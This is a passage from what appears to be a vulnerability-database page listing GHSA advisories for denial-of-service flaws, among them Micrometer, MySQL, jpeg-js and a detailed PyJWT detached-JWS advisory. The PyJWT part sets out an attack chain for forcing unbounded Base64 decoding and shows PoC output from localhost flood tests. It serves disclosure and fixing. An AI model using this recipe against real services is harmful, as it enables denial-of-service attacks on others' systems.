      "url": "https://lists.apache.org/thread.html/rd18c3c43602e66f9cdcf09f1de233804975b9572b0456cc582390b6f@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd18c3c43602e66f9cdcf09f1de233804975b9572b0456cc582390b6f%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rc998b18880df98bafaade071346690c2bc1444adaa1a1ea464b93f0a@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2893"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CMNFX5MNYRWWIMO4BTKYQCGUDMHO3AXP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XHTKU7YQ5EEP2XNSAV4M4VJ7QCBOJMOD"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/Aug/47"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201909-04"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190823-0003"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190823-0005"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190905-0003"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K02591030"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K02591030?utm_source=f5support\u0026amp%3Butm_medium=RSS"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K02591030?utm_source=f5support\u0026amp;utm_medium=RSS"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4113-1"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2019/dsa-4509"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/security/advisory/Synology_SA_19_33"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2925"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2939"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2946"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2949"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2950"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2955"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3932"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3933"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3935"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-002.md"
    },
    {
      "type": "WEB",
      "url": "https://kb.cert.org/vuls/id/605641"
    },
    {
      "type": "WEB",
      "url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10296"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/4610762456644181b267c846423b3a990bd4aaea1886ecc7d51febdb%40%3Cannounce.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/4610762456644181b267c846423b3a990bd4aaea1886ecc7d51febdb@%3Cannounce.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/56c2e7cc9deb1c12a843d0dc251ea7fd3e7e80293cde02fcd65286ba%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/56c2e7cc9deb1c12a843d0dc251ea7fd3e7e80293cde02fcd65286ba@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/d89f999e26dfb1d50f247ead1fe8538014eb412b2dbe5be4b1a9ef50%40%3Cdev.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/d89f999e26dfb1d50f247ead1fe8538014eb412b2dbe5be4b1a9ef50@%3Cdev.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ec97fdfc1a859266e56fef084353a34e0a0b08901b3c1aa317a43c8c%40%3Cdev.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ec97fdfc1a859266e56fef084353a34e0a0b08901b3c1aa317a43c8c@%3Cdev.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r03ee478b3dda3e381fd6189366fa7af97c980d2f602846eef935277d%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r03ee478b3dda3e381fd6189366fa7af97c980d2f602846eef935277d@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r06f0d87ebb6d59ed8379633f36f72f5b1f79cadfda72ede0830b42cf%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r06f0d87ebb6d59ed8379633f36f72f5b1f79cadfda72ede0830b42cf@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r3c5c3104813c1c5508b55564b66546933079250a46ce50eee90b2e36%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r3c5c3104813c1c5508b55564b66546933079250a46ce50eee90b2e36@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r76142b8c5119df2178be7c2dba88fde552eedeec37ea993dfce68d1d%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r76142b8c5119df2178be7c2dba88fde552eedeec37ea993dfce68d1d@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9f93cf6dde308d42a9c807784e8102600d0397f5f834890708bf6920%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9f93cf6dde308d42a9c807784e8102600d0397f5f834890708bf6920@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rc998b18880df98bafaade071346690c2bc1444adaa1a1ea464b93f0a%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00004.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00031.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00032.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/08/15/7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W737-WX49-QJ23

Vulnerability from github – Published: 2026-06-09 06:31 – Updated: 2026-06-09 06:31
VLAI
Details

In Micrometer, it is possible for a user to provide specially crafted gRPC requests that may cause a denial-of-service (DoS) condition.

Affected versions: Micrometer 1.16.0 through 1.16.5; 1.15.0 through 1.15.11.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-40983"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-09T05:16:34Z",
    "severity": "HIGH"
  },
  "details": "In Micrometer, it is possible for a user to provide specially crafted gRPC requests that may cause a denial-of-service (DoS) condition.\n\nAffected versions:\nMicrometer 1.16.0 through 1.16.5; 1.15.0 through 1.15.11.",
  "id": "GHSA-w737-wx49-qj23",
  "modified": "2026-06-09T06:31:56Z",
  "published": "2026-06-09T06:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40983"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-40983"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W768-WQPR-555X

Vulnerability from github – Published: 2022-09-14 00:00 – Updated: 2022-09-15 00:00
VLAI
Details

The CMS800 device fails while attempting to parse malformed network data sent by a threat actor. A threat actor with network access can remotely issue a specially formatted UDP request that will cause the entire device to crash and require a physical reboot. A UDP broadcast request could be sent that causes a mass denial-of-service attack on all CME8000 devices connected to the same network.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-38100"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-13T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "The CMS800 device fails while attempting to parse malformed network data sent by a threat actor. A threat actor with network access can remotely issue a specially formatted UDP request that will cause the entire device to crash and require a physical reboot. A UDP broadcast request could be sent that causes a mass denial-of-service attack on all CME8000 devices connected to the same network.",
  "id": "GHSA-w768-wqpr-555x",
  "modified": "2022-09-15T00:00:15Z",
  "published": "2022-09-14T00:00:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38100"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsma-22-244-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W78F-H7MV-34JV

Vulnerability from github – Published: 2024-07-09 18:30 – Updated: 2024-07-09 18:30
VLAI
Details

Windows iSCSI Service Denial of Service Vulnerability

Severity
5.3 (Medium)
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-35270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-09T17:15:18Z",
    "severity": "MODERATE"
  },
  "details": "Windows iSCSI Service Denial of Service Vulnerability",
  "id": "GHSA-w78f-h7mv-34jv",
  "modified": "2024-07-09T18:30:50Z",
  "published": "2024-07-09T18:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35270"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-35270"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W7JR-2C2W-7VXJ

Vulnerability from github – Published: 2024-04-17 00:30 – Updated: 2025-11-04 18:30
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-21057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-16T22:15:23Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer).  Supported versions that are affected are 8.0.35 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-w7jr-2c2w-7vxj",
  "modified": "2025-11-04T18:30:47Z",
  "published": "2024-04-17T00:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21057"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240426-0011"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2024.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W7Q9-P3JQ-FMHM

Vulnerability from github – Published: 2020-07-27 15:46 – Updated: 2023-09-08 22:35
VLAI
Summary
Uncontrolled resource consumption in jpeg-js
Details

Uncontrolled resource consumption in jpeg-js before 0.4.0 may allow attacker to launch denial of service attacks using specially a crafted JPEG image.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jpeg-js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-8175"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-07-27T15:46:02Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Uncontrolled resource consumption in `jpeg-js` before 0.4.0 may allow attacker to launch denial of service attacks using specially a crafted JPEG image.",
  "id": "GHSA-w7q9-p3jq-fmhm",
  "modified": "2023-09-08T22:35:55Z",
  "published": "2020-07-27T15:46:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8175"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eugeneware/jpeg-js/commit/135705b1510afb6cb4275a4655d92c58f6843e79"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/842462"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Uncontrolled resource consumption in jpeg-js"
}

GHSA-W7VC-732C-9M39

Vulnerability from github – Published: 2026-06-15 19:29 – Updated: 2026-06-15 19:29
VLAI
Summary
PyJWT: Unauthenticated DoS via unbounded Base64URL decoding of unused payload segment in b64=false detached JWS
Details

[!NOTE] Practical impact depends on whether request body-size limits are enforced upstream (proxy/web-server/framework). Deployments with typical body-size caps (≤2 MB) bound the amplifier significantly; deployments accepting larger token inputs are more exposed.

When verifying detached JWS tokens using the unencoded-payload option ("b64": false, RFC 7797), PyJWT performs Base64URL decoding of the compact-serialization payload segment before enforcing the detached-payload rules.

For b64=false, PyJWT later discards that decoded payload and replaces it with the caller-provided detached_payload. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces CPU work + memory allocations even if the signature is invalid.

This creates an unauthenticated DoS vector against any endpoint that verifies detached JWS using PyJWT.

Affected Component(s)

  • jwt/api_jws.py

  • PyJWS.decode() / PyJWS.decode_complete()

  • _load() (parsing and Base64URL decoding)

Root Cause (exact logic flaw)

What happens in the code

In jwt/api_jws.py, decode_complete() does the following (order matters):

  • Calls _load(jwt) first, which decodes the token segments
  • Only after that, checks header.get("b64") and if False, it replaces payload = detached_payload and rebuilds the signing input

This behavior is visible in decode_complete():

  • _load(jwt) happens before the b64=false handling
  • then payload = detached_payload and signing_input = ... detached_payload happens afterward ([GitHub][1])

Inside _load(), PyJWT unconditionally performs:

  • payload = base64url_decode(payload_segment) This is the expensive step the attacker can amplify ([GitHub][1])

Why this becomes a vulnerability

For b64=false detached JWS, the payload segment in compact form is effectively not needed for verification in PyJWT’s own logic (since the library uses detached_payload as the real payload). Yet PyJWT still decodes it first, meaning:

  • cost is paid even when signature is invalid
  • the decoded bytes are discarded
  • attacker controls the size of this cost via token length

Impact (evidence-driven)

Security impact

  • Unauthenticated remote DoS: decoding work happens before signature rejection → attacker does not need signing key.
  • CPU amplification: Base64URL decode time scales linearly with payload segment size.
  • Memory amplification: decoded output allocates large byte buffers (tens of MB per request).
  • Operational impact: request queueing / worker starvation under modest concurrency bursts.

Standards context (RFC 7797)

RFC 7797 explicitly notes this option is used when payload is large and/or detached, and discusses interoperability requirements around marking it critical (“crit” with “b64”). ([IETF Datatracker][2]) (PyJWT supports crit validation, but the issue here is decode order / unbounded decode of an unused segment.)

Affected Versions

  • Confirmed affected: PyJWT 2.12.1 (tested from your local editable install and repo).
  • Likely affected: all versions that include detached payload support for JWS decoding, which was introduced in 2.4.0 (“Add detached payload support for JWS encoding and decoding”). ([pyjwt.readthedocs.io][3])

(For GHSA, this phrasing is strong: “confirmed” + “likely since feature introduction”.)

Threat Model

Typical real deployment

A service verifies signed HTTP requests or webhooks using detached JWS:

  • token is provided in JSON body / query / header
  • actual payload is the HTTP request body passed as detached_payload

Attacker

  • remote unauthenticated client
  • can send requests to verify endpoint
  • does not need a valid signature (invalid signature still triggers the expensive decode path)

Attack chain

  1. Attacker crafts a JWS compact token with header containing "b64": false and crit:["b64"].
  2. Attacker inflates the payload segment (middle segment) to millions of Base64URL characters.
  3. Server calls PyJWS.decode(...detached_payload=...).
  4. PyJWT decodes the inflated segment (CPU + memory).
  5. Signature is rejected afterward (401) — but resources already consumed.
  6. Repeated requests or bursts cause queueing/worker starvation → DoS.

Proof of Concept - file names + results

PoC placement

PoC # 1 - Localhost verification server

File: server_localhost.py

Purpose: real HTTP endpoint (POST /verify) that calls PyJWT detached verification and prints: ok / time_ms / peak_bytes / token_len / error.

Results (server console output)

[+] Listening on http://127.0.0.1:8000
[+] POST /verify  JSON: {"token": "..."}

[127.0.0.1] ok=True  time_ms=0.102 peak_bytes=2624     token_len=117      err=None
[127.0.0.1] ok=False time_ms=2.012 peak_bytes=2000983  token_len=500078   err=InvalidSignatureError
[127.0.0.1] ok=True  time_ms=1.591 peak_bytes=2001061  token_len=500117   err=None

[127.0.0.1] ok=True  time_ms=0.065 peak_bytes=2304     token_len=117      err=None
[127.0.0.1] ok=False time_ms=7.534 peak_bytes=8000983  token_len=2000078  err=InvalidSignatureError
[127.0.0.1] ok=True  time_ms=6.347 peak_bytes=8001061  token_len=2000117  err=None

[127.0.0.1] ok=True  time_ms=0.066 peak_bytes=2304     token_len=117      err=None
[127.0.0.1] ok=False time_ms=23.034 peak_bytes=32000983 token_len=8000078 err=InvalidSignatureError
[127.0.0.1] ok=True  time_ms=22.097 peak_bytes=32001061 token_len=8000117 err=None

Key takeaways from these results

  • At 8,000,000 chars, a single invalid-signature request still causes:

  • ~23 ms server work

  • ~32 MB peak allocations
  • returns 401 (invalid signature) → attacker does not need key.

PoC # 2 - Localhost network client

File: client_localhost.py Purpose: generates baseline + (invalid signature) + (valid signature) tokens and sends them over HTTP to localhost server.

Results (client output)

payload-chars = 500,000

=== BASELINE (valid b64=false token) ===
HTTP: 200
client_wall_ms: 6.3499...
server_time_ms: 0.10197...
server_peak_bytes: 2624

=== ATTACK (INVALID signature - attacker needs no key) ===
HTTP: 401
client_wall_ms: 4.1010...
server_time_ms: 2.01217...
server_peak_bytes: 2000983
error: InvalidSignatureError

=== ATTACK (VALID signature - accepted path still wastes) ===
HTTP: 200
client_wall_ms: 3.6586...
server_time_ms: 1.59092...
server_peak_bytes: 2001061

payload-chars = 2,000,000

=== BASELINE ===
HTTP: 200
server_time_ms: 0.06527...
server_peak_bytes: 2304

=== ATTACK (INVALID signature) ===
HTTP: 401
server_time_ms: 7.53430...
server_peak_bytes: 8000983

=== ATTACK (VALID signature) ===
HTTP: 200
server_time_ms: 6.34682...
server_peak_bytes: 8001061

payload-chars = 8,000,000

=== BASELINE ===
HTTP: 200
server_time_ms: 0.06573...
server_peak_bytes: 2304

=== ATTACK (INVALID signature) ===
HTTP: 401
server_time_ms: 23.03403...
server_peak_bytes: 32000983

=== ATTACK (VALID signature) ===
HTTP: 200
server_time_ms: 22.09702...
server_peak_bytes: 32001061

Why this is strong evidence

  • The server clearly does heavy work before rejecting invalid signatures.
  • The “valid signature” case shows even accepted requests waste resources due to unused payload segment.

PoC # 3 - Localhost flood / burst concurrency

File: flood_localhost.py Purpose: sends N concurrent invalid-signature requests over HTTP to demonstrate queueing/worker starvation.

Results (your run: 20 concurrent @ 8,000,000 chars)

total_wall_ms: 1374.5405770000616

(16, 401, 1156.4504789998864, 21.350951999920653, 32000983, 'InvalidSignatureError')
(19, 401, 1151.2852699997893, 21.208721999755653, 32000983, 'InvalidSignatureError')
(18, 401, 1102.7211239997996, 21.685218999664357, 32000983, 'InvalidSignatureError')
(13, 401, 1102.0718189997751, 21.26572200040755, 32000983, 'InvalidSignatureError')
(11, 401, 1095.9345460000804, 20.586017000368884, 32000983, 'InvalidSignatureError')
(17, 401, 1085.2552810001725, 22.893039000337012, 32000983, 'InvalidSignatureError')
(10, 401, 1078.3629560000918, 22.737160999895423, 32000983, 'InvalidSignatureError')
(7,  401, 1048.2011740000416, 22.476282000297942, 32000983, 'InvalidSignatureError')
(8,  401, 378.93017700025666, 21.377330999712285, 32000983, 'InvalidSignatureError')
(1,  401, 281.45106800002395, 21.34223099983501, 32000983, 'InvalidSignatureError')

Interpretation

  • Each request still costs ~20–23 ms server processing and ~32 MB peak allocations.
  • But client-observed latency rises up to ~1.15 seconds because requests queue behind each other → clear worker starvation/HoL blocking.
  • All were rejected with 401 InvalidSignatureError → still unauthenticated.

Fix

Goal

Prevent unbounded resource consumption from an attacker-controlled payload segment that is unused in b64=false detached flow.

Minimal change strategy

In _load() (or by refactoring parse order), do not Base64-decode payload_segment until after you know whether b64=false applies.

Two safe options:

  1. Reject non-empty payload segment when b64=false

  2. Parse header first

  3. If b64 is false and payload_segment is non-empty → raise DecodeError before decoding

  4. Then verification uses detached_payload only

  5. Skip decoding payload segment entirely when b64=false

  6. Keep payload segment as raw bytes or empty

  7. Use detached payload for signing input

This aligns with the idea that detached payload is the trusted payload input for verification; the compact payload segment should not become a resource amplification vector.

(Implementation context: the current decode order and unconditional base64url_decode(payload_segment) are visible in the file and line region around _load() and decode_complete() ([GitHub][1]).)

Workarounds

  • Enforce strict max token length at the HTTP boundary (proxy/gateway).
  • Apply rate limiting on verification endpoints.
  • If detached JWS (b64=false) is not needed in your app, reject tokens where header includes "b64": false.
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.12.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pyjwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48525"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T19:29:12Z",
    "nvd_published_at": "2026-05-28T16:16:29Z",
    "severity": "MODERATE"
  },
  "details": "\u003e [!NOTE]\n\u003e Practical impact depends on whether request body-size limits are enforced upstream (proxy/web-server/framework). Deployments with typical body-size caps (\u22642 MB) bound the amplifier significantly; deployments accepting larger token inputs are more exposed.\n\nWhen verifying detached JWS tokens using the unencoded-payload option (`\"b64\": false`, RFC 7797), PyJWT performs **Base64URL decoding of the compact-serialization payload segment** *before* enforcing the detached-payload rules.\n\nFor `b64=false`, PyJWT later **discards** that decoded payload and replaces it with the caller-provided `detached_payload`. In practice, this turns the middle segment into an attacker-controlled \u201cwork amplifier\u201d: a remote client can supply an arbitrarily large Base64URL payload segment that forces **CPU work + memory allocations** even if the signature is invalid.\n\nThis creates an **unauthenticated DoS** vector against any endpoint that verifies detached JWS using PyJWT.\n\n---\n\n## Affected Component(s)\n\n* `jwt/api_jws.py`\n\n  * `PyJWS.decode()` / `PyJWS.decode_complete()`\n  * `_load()` (parsing and Base64URL decoding)\n\n---\n\n## Root Cause (exact logic flaw)\n\n### What happens in the code\n\nIn `jwt/api_jws.py`, `decode_complete()` does the following (order matters):\n\n* Calls `_load(jwt)` first, which decodes the token segments\n* Only after that, checks `header.get(\"b64\")` and if `False`, it replaces `payload = detached_payload` and rebuilds the signing input\n\nThis behavior is visible in `decode_complete()`:\n\n* `_load(jwt)` happens **before** the `b64=false` handling\n* then `payload = detached_payload` and `signing_input = ... detached_payload` happens afterward ([GitHub][1])\n\nInside `_load()`, PyJWT unconditionally performs:\n\n* `payload = base64url_decode(payload_segment)`\n  This is the expensive step the attacker can amplify ([GitHub][1])\n\n### Why this becomes a vulnerability\n\nFor `b64=false` detached JWS, the payload segment in compact form is effectively **not needed** for verification in PyJWT\u2019s own logic (since the library uses `detached_payload` as the real payload). Yet PyJWT still decodes it first, meaning:\n\n* cost is paid **even when signature is invalid**\n* the decoded bytes are **discarded**\n* attacker controls the size of this cost via token length\n\n---\n\n## Impact (evidence-driven)\n\n### Security impact\n\n* **Unauthenticated remote DoS**: decoding work happens before signature rejection \u2192 attacker does not need signing key.\n* **CPU amplification**: Base64URL decode time scales linearly with payload segment size.\n* **Memory amplification**: decoded output allocates large byte buffers (tens of MB per request).\n* **Operational impact**: request queueing / worker starvation under modest concurrency bursts.\n\n### Standards context (RFC 7797)\n\nRFC 7797 explicitly notes this option is used when payload is large and/or detached, and discusses interoperability requirements around marking it critical (\u201ccrit\u201d with \u201cb64\u201d). ([IETF Datatracker][2])\n(PyJWT supports `crit` validation, but the issue here is decode order / unbounded decode of an unused segment.)\n\n---\n\n## Affected Versions\n\n* **Confirmed affected:** PyJWT **2.12.1** (tested from your local editable install and repo).\n* **Likely affected:** all versions that include detached payload support for JWS decoding, which was introduced in **2.4.0** (\u201cAdd detached payload support for JWS encoding and decoding\u201d). ([pyjwt.readthedocs.io][3])\n\n(For GHSA, this phrasing is strong: \u201cconfirmed\u201d + \u201clikely since feature introduction\u201d.)\n\n---\n\n# Threat Model \n\n### Typical real deployment\n\nA service verifies signed HTTP requests or webhooks using detached JWS:\n\n* token is provided in JSON body / query / header\n* actual payload is the HTTP request body passed as `detached_payload`\n\n### Attacker\n\n* remote unauthenticated client\n* can send requests to verify endpoint\n* does **not** need a valid signature (invalid signature still triggers the expensive decode path)\n\n### Attack chain\n\n1. Attacker crafts a JWS compact token with header containing `\"b64\": false` and `crit:[\"b64\"]`.\n2. Attacker inflates the **payload segment** (middle segment) to millions of Base64URL characters.\n3. Server calls `PyJWS.decode(...detached_payload=...)`.\n4. PyJWT decodes the inflated segment (CPU + memory).\n5. Signature is rejected afterward (401) \u2014 but resources already consumed.\n6. Repeated requests or bursts cause queueing/worker starvation \u2192 DoS.\n\n---\n\n# Proof of Concept - file names + results\n\n## PoC placement \n\n* [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py)\n\n* [client_localhost.py](https://github.com/user-attachments/files/26132757/client_localhost.py)\n\n* [flood_localhost.py](https://github.com/user-attachments/files/26132760/flood_localhost.py)\n\n\n---\n\n## PoC # 1 - Localhost verification server\n\n**File:** [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py)\n\n**Purpose:** real HTTP endpoint (`POST /verify`) that calls PyJWT detached verification and prints:\n`ok / time_ms / peak_bytes / token_len / error`.\n\n### Results (server console output)\n\n```text\n[+] Listening on http://127.0.0.1:8000\n[+] POST /verify  JSON: {\"token\": \"...\"}\n\n[127.0.0.1] ok=True  time_ms=0.102 peak_bytes=2624     token_len=117      err=None\n[127.0.0.1] ok=False time_ms=2.012 peak_bytes=2000983  token_len=500078   err=InvalidSignatureError\n[127.0.0.1] ok=True  time_ms=1.591 peak_bytes=2001061  token_len=500117   err=None\n\n[127.0.0.1] ok=True  time_ms=0.065 peak_bytes=2304     token_len=117      err=None\n[127.0.0.1] ok=False time_ms=7.534 peak_bytes=8000983  token_len=2000078  err=InvalidSignatureError\n[127.0.0.1] ok=True  time_ms=6.347 peak_bytes=8001061  token_len=2000117  